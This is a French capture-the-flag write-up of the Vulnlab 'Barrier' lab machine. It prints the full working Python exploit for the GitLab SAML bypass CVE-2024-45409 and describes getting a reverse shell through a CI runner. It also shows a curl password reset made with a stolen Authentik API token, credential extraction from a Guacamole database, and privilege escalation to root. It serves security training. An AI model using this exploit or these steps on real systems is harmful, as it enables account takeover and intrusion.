Vulnlab – Barrier

Barrier

Ce mardi, nous mettons en ligne le writeup de Barrier, une machine Linux de niveau Medium. Vous allez découvrir les manipulations de SAML, API, de base de données et tout ce qui est nécessaire pour venir à bout de cette machine pouvant donner du fil à retordre.

OSDifficultyTarget
LinuxMedium10.10.93.17

🔭 Enumeration

Lancement d’un scan approfondi avec les options -sC et -sV:

[Jan 13, 2025 - 20:51:37 (CET)] exegol-Vulnlab /workspace # nmap -sC -sV barrier.vl 
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-13 20:52 CET
Nmap scan report for barrier.vl (10.10.93.17)
Host is up (0.017s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE             REASON         VERSION
22/tcp   open  ssh                 syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 f3:6c:aa:fe:2c:20:f6:55:a0:5b:61:54:cf:39:17:d0 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCOokCfPYcz8TQuTM23sE/xAyy0Vvl+Wg4aM7iDOolVIkn0qKiJVyxDqfYAo35Q7A+UCcCMB0j9iKGUsiUGCReEAli2sTj59DI5fco6eSz3HBaxTEt7cLZywL3fTT6SuTZtzcLbU5aoOy+H/nCKFK2jf29FWQVWzSAz5wdQgMtukRPBSpcr/L8dzAJWwDBR2ohSU1MHHU0thVA+MEHxyjuGFTdGfzBGcEq/MXIsd/i5y3sXFJ0eclgjLE7pkbOdS27+rat9kJokedWMoEfA1KeY6OYrSihdV6btYI7j12S8yR4Wr/OPcC1Na0gx5d+q2aJs12PH8uR0hIGnUzNtyzPxMBiX1AgBq81omtFDhkdXBPNOMphLEPTqdfRTEhEjHkvMK89rhW55A3F1iETyzMQ/d6DMmiBipVi37xu3XfaztYWnMFEzS56oJA+LjWRI0dy29V+yD0kk36XvRIhdQ7CAgCTJ8u/3fvA5ShWoGtOoV/gNO2VMq3weycg9Oombou0=
80/tcp   open  http                syn-ack ttl 62 nginx
|_http-title: Did not follow redirect to https://gitlab.barrier.vl:443/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp  open  ssl/http            syn-ack ttl 62 nginx
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was https://10.10.93.17/users/sign_in
|_http-favicon: Unknown favicon MD5: 66F9A1C3F2CFD0DF1B570990E86D3095
| http-robots.txt: 58 disallowed entries (40 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /api/v* /help /s/ /-/profile
| /-/user_settings/profile /-/ide/ /-/experiment /*/new /*/edit /*/raw
| /*/realtime_changes /groups/*/analytics
| /groups/*/contribution_analytics /groups/*/group_members /groups/*/-/saml/sso
| /*/*.git$ /*/archive/ /*/repository/archive* /*/activity
| /*/blame /*/commits /*/commit /*/commit/*.patch
| /*/commit/*.diff /*/compare /*/network /*/graphs
| /*/merge_requests/*.patch /*/merge_requests/*.diff /*/merge_requests/*/diffs
|_/*/deploy_keys /*/hooks
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=gitlab.barrier.vl/organizationName=Mycompany/stateOrProvinceName=GD/countryName=CN/localityName=SZ
| Subject Alternative Name: DNS:gitlab.barrier.vl
| Issuer: commonName=Barrier Root CA/organizationName=Mycompany/stateOrProvinceName=GD/countryName=CN/localityName=SZ
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-15T16:52:03
| Not valid after:  2025-12-15T16:52:03
| MD5:   0b50:8a55:99c7:55fe:bf36:3f26:3c76:82cd
| SHA-1: c0a2:f404:0136:e8e5:3578:99f7:246b:f136:fa64:5187
| -----BEGIN CERTIFICATE-----
| MIIDWjCCAkKgAwIBAgIUAUyxSLcW6CmTYJDScO1lhes0KvIwDQYJKoZIhvcNAQEL
| BQAwVTELMAkGA1UEBhMCQ04xCzAJBgNVBAgMAkdEMQswCQYDVQQHDAJTWjESMBAG
| A1UECgwJTXljb21wYW55MRgwFgYDVQQDDA9CYXJyaWVyIFJvb3QgQ0EwHhcNMjQx
| MjE1MTY1MjAzWhcNMjUxMjE1MTY1MjAzWjBXMQswCQYDVQQGEwJDTjELMAkGA1UE
| CAwCR0QxCzAJBgNVBAcMAlNaMRIwEAYDVQQKDAlNeWNvbXBhbnkxGjAYBgNVBAMM
| EWdpdGxhYi5iYXJyaWVyLnZsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAozNeLDYPk6cuP+7dcQ+l7g+5FXNDvg00nPqtkK9rH7ACxgvVLTTacvQU7yNv
| ZAdrgwDOtSzsfzCtTKiqhJYDqjSyLI/9BFnz4LObVlUd1wnhHk5nVLB63JiTGIDW
| M727dbWgUzVT/MK+L7IZ/DnQFI4Fw5czKZ7qU7mQkoscrFQvaPi1xpX+RLiatZnM
| y3baG+crsDTk26dEOaCt83kFrjUFLTUNjEE9po0eQK3kIAnfmmA4XTn3rn+Rny4T
| M/PvjcBwC0xakVc4yhZwf/vx0P8wPZTrZaPVBnnDvbrs7b0EN/0wK6mTq21HuyzY
| CnLkySq8NMfIx7yQ5YuRa4kMeQIDAQABoyAwHjAcBgNVHREEFTATghFnaXRsYWIu
| YmFycmllci52bDANBgkqhkiG9w0BAQsFAAOCAQEAt3T5e4zTPayl/oSOzerZkQBY
| IVbyvutz3SepgmvUYk01wtFUJpFTyAEB34xmo9bt1+0WpXszYwYosahJ7VAnJfNu
| a0umR4i42OyXz2LufCSty4g/G41Moy7/uwSvm010Cl2zt4YmezcGHiDSDPhST28+
| 7zkOsdL8S/q6LTVdpYbAJsKTN4war/nsav79HWzGlI+Lf7GTJs1RZPusvULEVzom
| lkysZD+jLOLvtPHZ23jQXu+qB5M/EzX24pfjMn73L6uKIG0QJIXeEIHjmPHJoSsH
| iLc3uby34UeemYGHZJHL+0XyKYdeHkLxxMwWIFMAAFi/cGjMjova4+HdkkmUNw==
|_-----END CERTIFICATE-----
8080/tcp open  http                syn-ack ttl 63 Apache Tomcat
|_http-title: Apache Tomcat
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
9000/tcp open  cslistener?         syn-ack ttl 62
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 10 Jan 2025 22:57:19 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 72e652298c174d92a5bdc467dff9fb51
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     X-Powered-By: authentik
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 10 Jan 2025 22:57:20 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 4ba1384196df4300b8c9af99c417848b
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|_    X-Powered-By: authentik
9443/tcp open  ssl/tungsten-https? syn-ack ttl 62
| ssl-cert: Subject: commonName=authentik default certificate/organizationName=authentik
| Subject Alternative Name: DNS:*
| Issuer: commonName=authentik default certificate/organizationName=authentik
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-10T22:46:36
| Not valid after:  2026-01-10T22:46:36
| MD5:   7e22:9a23:0be1:2d3e:76fe:2356:cab4:ee9f
| SHA-1: b6d4:e209:cd1f:1fad:92a2:824e:0c16:0f78:17c5:0648
| -----BEGIN CERTIFICATE-----
| MIIDRTCCAi2gAwIBAgIQXu7brRaDZc7j5qgfEYA+hjANBgkqhkiG9w0BAQsFADA8
| MRIwEAYDVQQKEwlhdXRoZW50aWsxJjAkBgNVBAMTHWF1dGhlbnRpayBkZWZhdWx0
| IGNlcnRpZmljYXRlMB4XDTI1MDExMDIyNDYzNloXDTI2MDExMDIyNDYzNlowPDES
| MBAGA1UEChMJYXV0aGVudGlrMSYwJAYDVQQDEx1hdXRoZW50aWsgZGVmYXVsdCBj
| ZXJ0aWZpY2F0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK2kp196
| 1/ENuFXF5xPjeG53906oDpBklHS+wrJpsLn//7nPekHbhS4tg6Bfs/wZUgipeAMI
| iG4OasjZTcI1tg5GAUAi2un+43zsCI+BnGAn7pHbaq/KtOOYwxoOFsuRYaCCI09P
| yyxkMuHMcP1xNZEkv4T7sbk7/Y2X9DO2ELJelOuiwWSbDkHwqYzqjHclJbKmPYYu
| rlOjAfMjXXLcnl0+46NSayYzHody48hybKU29Mcld5ljf0839zCFaYoK5VKcaBuH
| 1TIOur9GVoeTPYu7+4VsyezMpsd2SEqh62y52XN0MyoazeOn0KKwgnwc2wEasVuK
| BCsRSJ9PnjIkSDMCAwEAAaNDMEEwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoG
| CCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDAYDVR0RBAUwA4IBKjANBgkqhkiG9w0B
| AQsFAAOCAQEAD2Mi8USdnGvzRNPN0JfcUxGgzuqGcgUV9xEL21QAVO49Lru8R3+6
| FjYQrTWBbX3y200b1PVycY4ydZOabExqUdGPtZoH5QkqYXd+/75nexOi6ld8yYJI
| gakF/41t1L6J9vijvISo9oOHiewHl+cz6Gu0wVUgo353i4JMvcvGhv8OITmntXui
| hxTEBJ83XhyoyudbdEHfQfWkNRivHlJfj1t09eAdL8d7tvEvIX5uAdk+Ja1wYn8B
| KUFdND6/iNasOxhw3elyaehIplpzbWJR8RDSC7L1amKXPlVV8vFmeTsJa43/9yLv
| K5bEB43AuIuQpfmbLpWvL+2fvT9/T2uzYA==
|_-----END CERTIFICATE-----
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 10 Jan 2025 22:57:22 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 8f50229d1f8644b48124b87fe17da861
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     X-Powered-By: authentik
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 10 Jan 2025 22:57:23 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: 372a8299493d4b3b97c85d4c8ee68aad
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|_    X-Powered-By: authentik
PORTSTATESERVICE
22/tcpopenssh
80/tcpopenhttp
443/tcpopenhttps
8080/tcpopenhttp-proxy
9000/tcp opencslistener
9443/tcpopenssl/tungsten-https

En nous rendant sur la page https://barrier.vl nous arrivons sur une page de connexion gitlab avec la possibilité de se connecter par Login/password ou par SSO. En cliquant sur l’onglet SSO, nous arrivons sur une page web, sur le port 9443 Authentik. De retour sur la page de connexion gitlab, nous pouvons explorer et trouvons le git de satoru avec un dépôt nommé gitconnect. gitconnect est un script Python permettant de se connecter au gitlab avec le compte satoru vérifions les commits car le mot de passe a été retiré:

import requests
from urllib.parse import urljoin
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_gitlab_repos():
    base_url = 'https://gitlab.barrier.vl'
    api_url = urljoin(base_url, '/api/v4/')
    
    auth_data = {
        'grant_type': 'password',
        'username': 'satoru',
        'password': '***'
    }
    
    try:
        session = requests.Session()
        session.verify = False
        
        response = session.post(urljoin(base_url, '/oauth/token'), data=auth_data)
        response.raise_for_status()
        
        token = response.json()['access_token']
        headers = {'Authorization': f'Bearer {token}'}
        
        projects_response = session.get(urljoin(api_url, 'projects'), headers=headers)
        projects_response.raise_for_status()
        
        projects = projects_response.json()
        
        print("Available repositories:")
        for project in projects:
            print(f"\nName: {project['name']}")
            print(f"Description: {project.get('description', 'No description available')}")
            print(f"URL: {project['web_url']}")
            print(f"Last activity: {project['last_activity_at']}")
            print("-" * 50)
            
    except requests.exceptions.RequestException as e:
        print(f"Error occurred: {str(e)}")
        if hasattr(e.response, 'text'):
            print(f"Response text: {e.response.text}")
    finally:
        session.close()

if __name__ == "__main__":
    get_gitlab_repos()

En vérifiant l’historique, nous obtenons le mot de passe de satoru. L’exécution du script n’apporte rien de nouveau.

Retournons sur la page Authentik pour tenter une connexion avec le mot de passe trouver. La connexion fonctionne il s’agit du même mot de passe entre Gitlab et Authentik. Nous apercevons l’application Gitlab et Guacamole. Guacamole sous satoru ne montre aucune machine en ligne ou accessible.

En fouillant Gitlab, la version utilisée est la 17.3.2. Une simple recherche montre une faille critique SAML Authentication bypass .
Le PoC de la CVE-2024-45409 par Synacktiv permet de modifier la SAMLResponse d’un utilisateur pour se connecter sous ce nom.

Nous créons un projet dans le dépôt de satoru et regardons pour y ajouter des membres. akadmin est le seul autre membre disponible. Tentons le PoC pour nous connecter sous cet utilisateur. Nous nous connectons à Authentik puis nous nous rendons sur https://gitlab.barrier.vl pour lancer une connexion via SSO afin d’intercepter la requête et la réponse.

Nous interceptons toutes les requêtes et visionnons chacunes dans l’onglet http history de BurpSuite jusqu’à trouver la réponse à SAMLRequest=...., GET /users/auth/saml/callback/SAMLREPONSE=....

Une fois la réponse obtenu, nous la décodons afin d’obtenir un fichier xml.

Une fois décodée, nous utilisons le script qui suit afin d’obtenir une nouveau SAMLResponse pour l’utilisateur akadmin:

from argparse import ArgumentParser
from base64 import b64decode, b64encode
from copy import copy
from datetime import datetime, timedelta, UTC
from hashlib import sha1, sha256
from urllib.parse import quote, unquote
from uuid import uuid4
from sys import stderr
from lxml import etree

NAMESPACES = {
    "ds": "http://www.w3.org/2000/09/xmldsig#",
    "saml": "urn:oasis:names:tc:SAML:2.0:assertion",
    "samlp": "urn:oasis:names:tc:SAML:2.0:protocol",
}


class CVE_2024_45409:
    def __init__(
        self,
        response_file: str,
        output_file_path: str,
        decode_input: bool,
        encode_output: bool,
        name_id: str,
        id_prefix: str,
    ) -> None:
        self._name_id = name_id
        self._id_prefix = id_prefix
        self._encode_output = encode_output
        self._output_file_path = output_file_path
        self._decode_input = decode_input
        self._response_file = response_file
        self._raw_response: bytes | None = None
        self._response_document: etree.Element | None = None
        self._signature: etree.Element | None = None
        self._original_assertion: etree.Element | None = None
        self.reference_id: str

        self._canonicalization_method: str | None = None
        self._digest_algorithm: str | None = None

    def exploit(self) -> None:
        print("[+] Parse response",file=stderr)
        self._parse()
        self._move_signature_in_assertion()
        print("[+] Patch response ID",file=stderr)
        self._response_document.attrib["ID"] = self._generate_unique_id()
        print("[+] Insert malicious reference",file=stderr)
        self._insert_malicious_reference()
        print(f"[+] Write patched file in {self._output_file_path}",file=stderr)
        self._write_output()

    def _write_output(self) -> None:
        data = etree.tostring(self._response_document)
        if self._output_file_path == "-":
            if self._encode_output:
                print(self.encode_response(data))
            else:
                print(data.decode('utf-8'))            
            return
        with open(self._output_file_path, "w") as outfile:
            data = self.encode_response(data) if self._encode_output else data.decode("utf-8")
            outfile.write(data)

    def _parse(self) -> None:
        with open(self._response_file) as infile:
            self._raw_response = (
                self.decode_response(infile.read()) if self._decode_input else infile.read().encode("utf-8")
            )
        self._response_document = etree.fromstring(self._raw_response)

        self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
        self._canonicalization_method = self._signature.xpath(
            "//ds:Reference/ds:Transforms/ds:Transform/@Algorithm",
            namespaces=NAMESPACES,
        )[1]
        self._digest_algorithm = self._signature.xpath(
            "//ds:Reference/ds:DigestMethod/@Algorithm",
            namespaces=NAMESPACES,
        )[0]
        self._digest_algorithm = self._digest_algorithm[self._digest_algorithm.index("#") + 1 :]
        print(f"\tDigest algorithm: {self._digest_algorithm}",file=stderr)
        print(f"\tCanonicalization Method: {self._canonicalization_method}",file=stderr)

    def _move_signature_in_assertion(self) -> None:
        print("[+] Remove signature from response",file=stderr)
        self._signature.getparent().remove(self._signature)
        reference = self._signature.find(".//ds:Reference", namespaces=NAMESPACES)
        self.reference_id = reference.attrib["URI"].lstrip("#")

        print("[+] Patch assertion ID",file=stderr)
        assertion_element = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
        assertion_element.attrib["ID"] = self.reference_id

        print("[+] Patch assertion NameID",file=stderr)
        name_id_element = assertion_element.find(".//saml:NameID", namespaces=NAMESPACES)
        name_id_element.text = self._name_id

        print("[+] Patch assertion conditions",file=stderr)
        subject_confirm_data = self._response_document.find(".//saml:SubjectConfirmationData", namespaces=NAMESPACES)
        subject_confirm_data.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        conditions = self._response_document.find(".//saml:Conditions", namespaces=NAMESPACES)
        conditions.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        authn_statement = self._response_document.find(".//saml:AuthnStatement", namespaces=NAMESPACES)
        authn_statement.attrib["SessionNotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")

        self._original_assertion = copy(assertion_element)

        print("[+] Move signature in assertion",file=stderr)
        assertion_issuer = assertion_element.find(".//saml:Issuer", namespaces=NAMESPACES)
        assertion_element.insert(assertion_element.index(assertion_issuer) + 1, self._signature)

    def _insert_malicious_reference(self) -> None:
        status = self._response_document.find(".//samlp:Status", namespaces=NAMESPACES)
        status_code = status.find(".//samlp:StatusCode", namespaces=NAMESPACES)

        print("[+] Clone signature reference",file=stderr)
        reference = copy(self._response_document.find(".//ds:Reference", namespaces=NAMESPACES))
        reference.attrib["URI"] = "#" + self.reference_id

        nsmap = {"samlp": "urn:oasis:names:tc:SAML:2.0:protocol", "dsig": "http://www.w3.org/2000/09/xmldsig#"}
        print("[+] Create status detail element",file=stderr)
        status_detail_element = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail", nsmap=nsmap)
        status_detail_element.insert(0, reference)

        status.insert(status.index(status_code) + 1, status_detail_element)

        new_element = etree.Element(
            self._original_assertion.tag,
            nsmap={
                "saml": "urn:oasis:names:tc:SAML:2.0:assertion",
            },
        )

        for attrib, value in self._original_assertion.attrib.items():
            new_element.set(attrib, value)
        for child in self._original_assertion:
            new_element.append(child)
        new_element.text = self._original_assertion.text

        if self._canonicalization_method == "http://www.w3.org/2001/10/xml-exc-c14n#":
            method = "c14n"
        else:
            raise ValueError("Canonicalization method unknown")

        new_element_canonical = etree.tostring(new_element, method=method, exclusive=True, with_comments=False)

        if self._digest_algorithm == "sha256":
            digest = sha256(new_element_canonical).digest()
        elif self._digest_algorithm == "sha1":
            digest = sha1(new_element_canonical).digest()
        else:
            raise ValueError("Digest algorithm unknown")

        print("[+] Patch digest value",file=stderr)
        digest_value = reference.find(".//ds:DigestValue", namespaces=NAMESPACES)
        digest_value.text = b64encode(digest).decode("utf-8")

    def _generate_unique_id(self) -> str:
        return f"{self._id_prefix}{uuid4()}"

    @staticmethod
    def decode_response(data: str) -> bytes:
        return b64decode(unquote(data))

    @staticmethod
    def encode_response(data: bytes) -> str:
        return quote(b64encode(data))

    def __str__(self) -> str:
        return etree.tostring(self._response_document, pretty_print=True).decode("utf-8")


if __name__ == "__main__":
    parser = ArgumentParser(
        description="CVE-2024-45409 exploit",
    )
    parser.add_argument(
        "-r",
        "--response-file",
        type=str,
        required=True,
        help="Raw or URL + Base64 encoded XML SAMLResponse content file path",
        default="response.xml",
    )
    parser.add_argument(
        "-o",
        "--output-file",
        type=str,
        help="Patched SAMLResponse output file path, use - for stdout",
        default="response_patched.xml",
    )
    parser.add_argument("-n", "--nameid", type=str, required=True, help="Target NameID")
    parser.add_argument("-d", "--decode", action="store_true", help="Decode URL + Base64 encoded response file")
    parser.add_argument("-e", "--encode", action="store_true", help="Encode Base64 + URL output")
    parser.add_argument("-p", "--prefix", type=str, help="ID prefix", default="ID-")
    args = parser.parse_args()

    CVE_2024_45409(
        response_file=args.response_file,
        output_file_path=args.output_file,
        decode_input=args.decode,
        encode_output=args.encode,
        name_id=args.nameid,
        id_prefix=args.prefix,
    ).exploit()

La commande ci-dessous nous permet d’obtenir la nouvelle réponse à injecter dans BurpSuite.

python3 2024-45409.py -r response.xml -n akadmin -e -o response_path.xml

On envoi la requête modifiée, nous sommes désormais connecté sous akadmin.

En regardant la page d’admin, nous apercevons que les runners sont actifs.

De plus près,un runner est en ligne et execute docker.

Puisque qu’un runner est actif, nous décidons de créer un projet dans lequel nous allons y mettre un fichier .gitlab-cy.yml Mais nous trouver sur quelle image docker il s’appuie. Quelques recherches nous permettent d’obtenir un docker-compose.yml utilisé par Authentik.

En se fiant à la documentation fournie par Authentik, nous créons le fichier .gitlab-cy.yml suivant:

Une fois lancée, nous devrions obtenir un reverse shell.

En checkant les variables d’environnement, nous obtenons le TOKEN Authentik:

Toujours en se basant sur la documentation d’Authentik, nous avons la possibilité de jouer autour de l’API:

curl -L 'http://barrier.vl:9000/api/v3/core/users/4/set_password/' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
-d '{
  "password": "P@$$word123!"
}'

Une fois la commande cURL entrée, nous nous rendons sur la page Authentik pour essayer de s’y connecter.

Sur cette interface, nous pouvons impersonate l’utilisateur maki sur une machine disponible sur Guacamole.

Le Flag user.txt se trouve dans le dossier /home de maki.

🎯 Privilege Escalation

Nous avons le flag user, il ne reste plus qu’à trouver le moyen de monter en privilège. Nous décidons de fouiller, puis nous nous penchons sur le dossier etc/guacamole. La documentation de Guacamole permet d’avoir des indices sur les fichiers à localiser et lire.

Nous nous connectons à la base guacamole:

mysql mysql -u guac_user -pguac2024
MariaDB [guac_db]> select * from guacamole_connection_parameter \G;

Nous y trouvons une clé privée ssh pour maki_adm ainsi que la passphrase associée. Nous copions la clé et nous nous connectons à son compte:

ssh -i ssh_key maki_adm@barrier.vl -oHostKeyAlgorithms=+ssh-rsa

Connecté à cet utilisateur, nous cherchons comment obtenir les privilèges root, nous permettant d’obtenir le flag root. Le fichier .bash-history nous donne ceci:

cat .bash-history
sudo su
V<REDACTED>v

Nous utilisons le mot de passe trouvé et sommes root.

cat /root/root.txt
VL{...}